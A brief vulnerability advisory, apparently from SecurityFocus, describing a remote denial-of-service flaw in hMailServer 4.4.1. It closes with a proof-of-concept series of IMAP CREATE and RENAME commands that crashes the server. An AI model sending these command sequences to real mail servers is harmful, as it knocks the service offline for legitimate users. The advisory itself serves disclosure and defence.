source: https://www.securityfocus.com/bid/30663/info

hMailServer is prone to a remote denial-of-service vulnerability caused by large numbers of certain IMAP commands.

Exploiting this issue will cause the server to crash and deny access to legitimate users.

hMailServer 4.4.1 is vulnerable; other versions may also be affected.

A01 CREATE AAAAA
A02 CREATE AAAAAA
A03 CREATE AAAAAAA
...
A97 RENAME AAAAA BBBBB
A98 RENAME AAAAAA BBBBBB
A100 RENAME AAAAAAA BBBBBBB